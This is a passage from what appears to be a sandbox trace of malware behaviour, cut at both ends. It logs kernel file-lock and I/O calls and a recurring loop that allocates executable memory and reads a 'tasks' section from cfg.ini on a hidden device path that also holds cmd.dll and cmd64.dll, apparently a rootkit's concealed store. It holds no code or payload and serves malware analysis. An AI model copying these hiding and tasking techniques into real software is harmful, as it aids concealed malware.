_Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.948] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.948] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe9e0 [0121.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.948] KeLeaveCriticalRegion () [0121.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.948] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.948] KeEnterCriticalRegion () [0121.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.948] KeLeaveCriticalRegion () [0121.948] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.948] KeEnterCriticalRegion () [0121.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.948] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.948] IdePortDispatch () returned 0x103 [0121.948] KeWaitForMutexObject () returned 0x0 [0121.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.948] KeLeaveCriticalRegion () [0121.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.948] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.948] KeEnterCriticalRegion () [0121.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.948] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfc000 [0121.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.949] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.949] IdePortDispatch () returned 0x103 [0121.949] KeWaitForMutexObject () returned 0x0 [0121.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.949] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.949] IdePortDispatch () returned 0x103 [0121.949] KeWaitForMutexObject () returned 0x0 [0121.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.949] KeLeaveCriticalRegion () [0121.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.950] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.950] KeEnterCriticalRegion () [0121.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.950] KeLeaveCriticalRegion () [0121.950] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.950] KeEnterCriticalRegion () [0121.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.950] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.950] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc98b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.950] KeLeaveCriticalRegion () [0121.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.950] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.950] KeEnterCriticalRegion () [0121.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.950] ExFreePoolWithTag (P=0xfffffa8003bbe9e0, Tag=0x0) [0121.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.950] KeLeaveCriticalRegion () [0121.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.950] ReleaseMutex (hMutex=0xf0) returned 1 [0121.950] Sleep (dwMilliseconds=0x927c0) [0121.965] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.965] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.965] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.965] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.965] KeEnterCriticalRegion () [0121.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.965] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.965] IdePortDispatch () returned 0x103 [0121.965] KeWaitForMutexObject () returned 0x0 [0121.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.965] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.965] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.965] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.966] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.966] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbea90 [0121.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.966] KeLeaveCriticalRegion () [0121.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.966] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.966] KeEnterCriticalRegion () [0121.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.966] KeLeaveCriticalRegion () [0121.966] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.966] KeEnterCriticalRegion () [0121.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.966] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.966] IdePortDispatch () returned 0x103 [0121.966] KeWaitForMutexObject () returned 0x0 [0121.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.966] KeLeaveCriticalRegion () [0121.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.966] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.966] KeEnterCriticalRegion () [0121.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c01000 [0121.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.966] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.966] IdePortDispatch () returned 0x103 [0121.966] KeWaitForMutexObject () returned 0x0 [0121.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.967] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.967] IdePortDispatch () returned 0x103 [0121.967] KeWaitForMutexObject () returned 0x0 [0121.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.967] KeLeaveCriticalRegion () [0121.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.967] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.967] KeEnterCriticalRegion () [0121.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.967] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.967] KeLeaveCriticalRegion () [0121.968] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.968] KeEnterCriticalRegion () [0121.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.968] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.968] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.968] KeLeaveCriticalRegion () [0121.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.968] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.968] KeEnterCriticalRegion () [0121.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.968] ExFreePoolWithTag (P=0xfffffa8003bbea90, Tag=0x0) [0121.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.968] KeLeaveCriticalRegion () [0121.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.968] ReleaseMutex (hMutex=0xf0) returned 1 [0121.968] Sleep (dwMilliseconds=0x927c0) [0121.982] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.982] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.982] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.982] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.982] KeEnterCriticalRegion () [0121.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.982] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.982] IdePortDispatch () returned 0x103 [0121.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.983] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.983] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.983] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.983] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.983] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be29b0 [0121.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.983] KeLeaveCriticalRegion () [0121.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.983] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.983] KeEnterCriticalRegion () [0121.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.983] KeLeaveCriticalRegion () [0121.983] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.983] KeEnterCriticalRegion () [0121.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.983] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.983] IdePortDispatch () returned 0x103 [0121.983] KeWaitForMutexObject () returned 0x0 [0121.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.984] KeLeaveCriticalRegion () [0121.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.984] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.984] KeEnterCriticalRegion () [0121.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.984] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c06000 [0121.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.984] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.984] IdePortDispatch () returned 0x103 [0121.984] KeWaitForMutexObject () returned 0x0 [0121.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.985] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.985] IdePortDispatch () returned 0x103 [0121.985] KeWaitForMutexObject () returned 0x0 [0121.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.985] KeLeaveCriticalRegion () [0121.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.985] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.985] KeEnterCriticalRegion () [0121.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.985] KeLeaveCriticalRegion () [0121.985] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.985] KeEnterCriticalRegion () [0121.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.986] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.986] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.986] KeLeaveCriticalRegion () [0121.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.986] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.986] KeEnterCriticalRegion () [0121.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.986] ExFreePoolWithTag (P=0xfffffa8003be29b0, Tag=0x0) [0121.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.986] KeLeaveCriticalRegion () [0121.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.986] ReleaseMutex (hMutex=0xf0) returned 1 [0121.986] Sleep (dwMilliseconds=0x927c0) [0121.999] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.999] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.999] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.999] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.000] KeEnterCriticalRegion () [0122.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.000] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.000] IdePortDispatch () returned 0x103 [0122.000] KeWaitForMutexObject () returned 0x0 [0122.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.000] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.000] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.000] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.000] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.000] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be22f0 [0122.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.000] KeLeaveCriticalRegion () [0122.000] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.000] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.000] KeEnterCriticalRegion () [0122.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.000] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.000] KeLeaveCriticalRegion () [0122.000] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.000] KeEnterCriticalRegion () [0122.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.000] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.000] IdePortDispatch () returned 0x103 [0122.000] KeWaitForMutexObject () returned 0x0 [0122.001] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.001] ExReleaseFastMutexUnsafe (in: 